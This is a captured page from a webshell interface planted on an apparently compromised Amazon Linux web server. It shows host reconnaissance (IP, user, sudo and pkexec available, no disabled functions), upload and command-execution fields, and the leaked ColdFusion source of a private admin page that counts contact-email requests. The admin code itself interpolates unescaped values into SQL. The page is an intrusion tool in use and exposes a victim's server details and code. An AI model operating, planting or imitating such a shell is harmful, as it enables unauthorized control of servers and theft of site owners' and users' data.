403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/home2/cgny/nympadmin/nymprequeststats.cfm
<cfquery name="Geter" dataSource="cityguide">
	select entrydate, id 
	from ListingsRequests
	where entrydatedate = '2001-01-01'
</cfquery>

<Cfoutput query="Geter">
	<cfquery name="upds" dataSource="cityguide">
		update ListingsRequests
		set entrydatedate = '#dateformat(entrydate,'yyyy-mm-dd')#'
		where id = #id#
	</cfquery>	
	
</Cfoutput>	



<cfquery name="Geter" dataSource="cityguide">
	select entrydate, id 
	from ListingsRequests
	where entrydateyear = 0
</cfquery>

<Cfoutput query="Geter">
	<cfquery name="upds" dataSource="cityguide">
		update ListingsRequests
		set entrydateyear = '#dateformat(entrydate,'yyyy')#',
		entrydatemonth = '#dateformat(entrydate,'m')#'
		where id = #id#
	</cfquery>	
	
</Cfoutput>	

<cfinclude template="header.cfm">


<div id="content">
  <div id="content-header">
  </div>
  <div class="container-fluid" style="margin-left:200px;">

<cfif parameterexists(Session.email) and (Session.email IS NOT -1)>
<cfif (#getuser.accesslevel# eq 100)>

<table width=100%><tr><td style="padding:4px;" >
<div align="center"><font face=verdana size=+1><strong>NYMP Info Requests Stats</strong></font>
	<cfif parameterexists(url.averages)>
				<br><a href="nymprequeststats.cfm">Exclude Averages</a>

		<cfelse>
		<br><a href="nymprequeststats.cfm?averages=on">Include Averages</a>
	</cfif>
</div>
 <font face=verdana size=-1><br /><br>


<table border="1" cellpadding="4" cellspacing="0">
	
<Tr>
<td style="padding:4px;"  style="vertical-align: top;"><h2>BY DATE</h2>

<cfquery name="geter" dataSource="cityguide">
	select entrydatedate as date, count(id) as counter
	from ListingsRequests

	group by date
 order by date desc   
 <Cfif not parameterexists(url.dayofweek)> 
 limit 0, 90 
<Cfelse>
 limit 0, 400 
</cfif>
</cfquery>

<Cfif not parameterexists(url.dayofweek)> 
	
	
<table border="1" cellpadding="4" cellspacing="0">
<tr><td style="padding:4px;" ><B>DATE</Td><td style="padding:4px;" ><B>TOTAL</td><td style="padding:4px;" ><B>UNIQUE</td><td style="padding:4px;" ><B>WEB</td><td style="padding:4px;" ><B>MOBILE</td><td style="padding:4px;" ><B>ARTICLE</td><td style="padding:4px;" ><B>VCF</td><td style="padding:4px;" ><B>SS</td>

</tr>	 
<cfoutput query="geter">
	
<Tr><td style="padding:4px;" ><a href="nymprequeststats.cfm?dayofweek=#dateformat(date,'dddd')#">#dateformat(date,'dddd')#</a> #dateformat(date,' mmm, d yyyy')#</Td><td style="padding:4px;" >#counter#</td>

<cfquery name="geter2" dataSource="cityguide">
	select distinct contactemail 
	from ListingsRequests
	where entrydatedate = #date#
</cfquery>
<td style="padding:4px;" >
	#geter2.recordcount#</td>
	


<cfquery name="geter3web" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and platform = 'Web' and articleid = 0
</cfquery>
<cfquery name="geter3Mobile" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and platform = 'Mobile' and articleid = 0
</cfquery>
<cfquery name="geter3article" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and articleid > 0
</cfquery>

<cfquery name="geter3vcf" dataSource="cityguide">
	select count( contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# 
	and nymptag = 'Virtual Camp Fair'
</cfquery>

<cfquery name="geter3ss" dataSource="cityguide">
	select count( contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# 
	and nymptag = 'School Showcase'
</cfquery>


<td style="padding:4px;" >
	#geter3web.counter#</td>

<td style="padding:4px;" >
	#geter3mobile.counter#</td>

<td style="padding:4px;" >
	#geter3article.counter#</td>

<td style="padding:4px;" >
	#geter3vcf.counter#</td>
	
<td style="padding:4px;" >
	#geter3ss.counter#</td>
	
	
</Tr>
</cfoutput>	
	</table>

<Cfelse>

<table border="1" cellpadding="4" cellspacing="0">
<tr><td style="padding:4px;" ><B>DATE</Td><td style="padding:4px;" ><B>TOTAL</td><td style="padding:4px;" ><B>UNIQUE</td><td style="padding:4px;" ><B>WEB</td><td style="padding:4px;" ><B>MOBILE</td><td style="padding:4px;" ><B>ARTICLE</td><td style="padding:4px;" ><B>VCF</td><td style="padding:4px;" ><B>SS</td></tr>	 
<cfoutput query="geter">
	<Cfif #dateformat(date,'dddd')# eq '#url.dayofweek#'> 
<Tr><td style="padding:4px;" ><a href="nymprequeststats.cfm?dayofweek=#dateformat(date,'dddd')#">#dateformat(date,'dddd')#</a> #dateformat(date,' mmm, d yyyy')#</Td><td style="padding:4px;" >#counter#</td>

<cfquery name="geter2" dataSource="cityguide">
	select distinct contactemail 
	from ListingsRequests
	where entrydatedate = #date#
</cfquery>
<td style="padding:4px;" >
	#geter2.recordcount#</td>
	
	
	
	<cfquery name="geter3web" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and platform = 'Web' and articleid = 0
</cfquery>
<cfquery name="geter3Mobile" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and platform = 'Mobile' and articleid = 0
</cfquery>
<cfquery name="geter3article" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatedate = #date# and articleid > 0
</cfquery>


<td style="padding:4px;" >
	#geter3web.counter#</td>

<td style="padding:4px;" >
	#geter3mobile.counter#</td>

<td style="padding:4px;" >
	#geter3article.counter#</td>


	
	
</Tr>
</Cfif>
</cfoutput>	
	</table>



</Cfif>



	
</Td>	

<Cfif not parameterexists(url.dayofweek)> 
<td style="padding:4px;vertical-align: top;"><h2>BY MONTH</h2>

<cfquery name="geter" dataSource="cityguide">
	select entrydatemonth as month, entrydateyear as year, count(id) as counter
	from ListingsRequests
	group by entrydatemonth, entrydateyear
 order by entrydateyear desc, entrydatemonth desc   
 limit 0, 90 
</cfquery>

	
<table border="1" cellpadding="4" cellspacing="0">
<tr><td style="padding:4px;" ><B>DATE</Td><td style="padding:4px;" ><B>TOTAL</td><td style="padding:4px;" ><B>UNIQUE</td><cfif parameterexists(url.averages)><td style="padding:4px;" ><B>AVERAGE</td><td style="padding:4px;" ><B>AVG UNIQUE</td></cfif><td style="padding:4px;" ><B>WEB</td><td style="padding:4px;" ><B>MOBILE</td><td style="padding:4px;" ><B>ARTICLE</td>
<td style="padding:4px;" ><B>VCF</td><td style="padding:4px;" ><B>SS</td>
</tr>	 
<cfoutput query="geter">
<Tr><td style="padding:4px;" >
	<Cfif #month# eq '1'>January<cfset daycount = 31></Cfif>
	<Cfif #month# eq '2'>February<cfset daycount = 28></Cfif>
	<Cfif #month# eq '3'>March<cfset daycount = 31></Cfif>
	<Cfif #month# eq '4'>April<cfset daycount = 30></Cfif>
	<Cfif #month# eq '5'>May<cfset daycount = 31></Cfif>
	<Cfif #month# eq '6'>June<cfset daycount = 30></Cfif>
	<Cfif #month# eq '7'>July<cfset daycount = 31></Cfif>
	<Cfif #month# eq '8'>August<cfset daycount = 31></Cfif>
	<Cfif #month# eq '9'>September<cfset daycount = 30></Cfif>
	<Cfif #month# eq '10'>October<cfset daycount = 31></Cfif>
	<Cfif #month# eq '11'>November<cfset daycount = 30></Cfif>
	<Cfif #month# eq '12'>December<cfset daycount = 31></Cfif>

	 #year#</Td><td style="padding:4px;" >#counter#</td>
 
<cfquery name="geter2" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year#
</cfquery>
<td style="padding:4px;" >
	#geter2.counter#</td>
<cfif parameterexists(url.averages)>
<td style="padding:4px;" >
<cfset a = #counter# / #daycount#>
#round(a)#
</td>

<td style="padding:4px;" >
<cfset a = #geter2.counter# / #daycount#>
#round(a)#
</td>


</cfif>



	<cfquery name="geter3web" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year# and platform = 'Web' and articleid = 0
</cfquery>
<cfquery name="geter3Mobile" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year# and platform = 'Mobile' and articleid = 0
</cfquery>
<cfquery name="geter3article" dataSource="cityguide">
	select count(distinct contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year# and articleid > 0
</cfquery>

<cfquery name="geter3vcf" dataSource="cityguide">
	select count( contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year# and nymptag = 'Virtual Camp Fair'
</cfquery>
<cfquery name="geter3ss" dataSource="cityguide">
	select count( contactemail) as counter
	from ListingsRequests
	where entrydatemonth = #month#
	and entrydateyear = #year# and nymptag = 'School Showcase'
</cfquery>

<td style="padding:4px;" >
	#geter3web.counter#</td>

<td style="padding:4px;" >
	#geter3mobile.counter#</td>

<td style="padding:4px;" >
	#geter3article.counter#</td>

<td style="padding:4px;" >
	#geter3vcf.counter#</td>
	
	<td style="padding:4px;" >
	#geter3ss.counter#</td>






</Tr>

</Cfoutput>
</Cfif>

	</table>


</Td>
	
	
 </Table>


</td></tr></table>

</cfif>
</cfif>

Youez - 2016 - github.com/yon3zu
LinuXploit